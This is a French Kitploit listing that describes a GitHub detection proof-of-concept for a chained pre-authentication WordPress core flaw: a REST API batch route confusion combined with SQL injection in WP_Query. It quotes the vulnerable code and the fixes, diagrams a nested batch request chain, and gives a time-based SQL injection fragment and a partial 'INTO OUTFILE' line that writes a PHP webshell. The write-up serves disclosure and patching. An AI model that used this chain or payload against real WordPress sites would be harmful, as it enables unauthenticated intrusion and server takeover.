Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
wordpress-cve-2026-63030 — RCE pré-authentification dans le noyau WordPress via confusion de route batch de l'API REST + SQLi WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de détection. | Kitploit
Outils/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

RCE pré-authentification dans le noyau WordPress via confusion de route batch de l'API REST + SQLi WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de détection.

Voir le dépôt
428il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Confusion de route batch de l'API REST WordPress + Injection SQL → RCE

Pré-authentification, sans authentification, aucun plugin requis. Fonctionne contre une installation WordPress standard via le point de terminaison batch de l'API REST.

CVECVE-2026-63030 (confusion de route → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
DécouvreurAdam Kues — Assetnote / Searchlight Cyber (surnommé « wp2shell »)
Versions concernéesWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (chaîne RCE complète) · 6.8.0 – 6.8.5 (SQLi uniquement)
Corrigé dans6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSSCritique (chaîne RCE) / Modéré (SQLi seul)
Blog du chercheurhttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. Vue d'ensemble

Deux bogues dans le cœur de WordPress, qui peuvent être enchaînés en exécution de code à distance sans authentification :

  1. Injection SQL dans WP_Query lorsque author__not_in est une chaîne plutôt qu'un tableau — la garde de nettoyage is_array() est ignorée et la valeur brute est interpolée dans une clause NOT IN (...).
  2. Confusion de route batch dans WP_REST_Server::serve_batch_request_v1() — les sous-requêtes WP_Error sont poussées dans $validation[] mais pas dans $matches[], provoquant un décalage d'index de +1. La sous-requête i finit par être dispatchée avec le gestionnaire de la sous-requête i+1.

Aucun des deux bogues ne suffit seul : l'API REST nettoie author_exclude (type: array, items: integer) avant qu'il n'atteigne WP_Query, et le point de terminaison batch rejette les sous-requêtes GET (enum: POST, PUT, PATCH, DELETE). En les enchaînant via une double confusion, on contourne les deux défenses et on atteint la SQLi sans authentification.

2. Causes racines

2.1 Injection SQL — src/wp-includes/class-wp-query.php (CVE-2026-60137)

Vulnérable (6.9.4) :

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

Lorsque author__not_in est une chaîne, la branche is_array() est ignorée ; (array) "payload" donne ["payload"] ; implode(',', ...) renvoie la chaîne brute, qui est interpolée directement dans la requête SQL.

Correctif (6.9.5) : utiliser wp_parse_id_list() qui accepte toute forme d'entrée et renvoie une liste d'entiers nettoyés.

2.2 Confusion de route batch — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

Une seule sous-requête WP_Error (par ex. un chemin mal formé) en position 0 décale chaque entrée suivante d'un cran. La requête i est alors dispatchée avec le gestionnaire de la requête i+1.

Correctif (6.9.5) : ajouter $matches[] = $single_request; également pour le cas d'erreur. Un durcissement supplémentaire court-circuite rest_api_loaded() / serve_request() lorsqu'un dispatch est déjà en cours.

3. La chaîne de double confusion

┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

Le fragment SQL résultant est :

AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) se déclenche une fois par ligne d'article correspondante, donc le délai total est d'environ N × <nombre_d_articles_publiés> secondes.

De la SQLi au RCE (« wp2shell »)

L'injection de type SELECT uniquement (pas de requêtes empilées, $wpdb utilise mysqli_query) permet tout de même d'obtenir un RCE sur les piles LAMP typiques lorsque l'utilisateur MySQL dispose du privilège FILE — ce qui est le cas par défaut sur de nombreux hébergeurs mutualisés et serveurs auto-gérés :

1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

écrit un webshell PHP dans la racine web, accessible à /x.php.

Les chemins alternatifs (sans avoir besoin du privilège FILE) incluent la lecture du hash du mot de passe administrateur via une SQLi aveugle UNION/booléenne et le téléversement d'un plugin malveillant via l'interface d'administration authentifiée.

4. Détection / PoC

usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

Le PoC effectue deux tests non destructifs :

Télécharger l’outil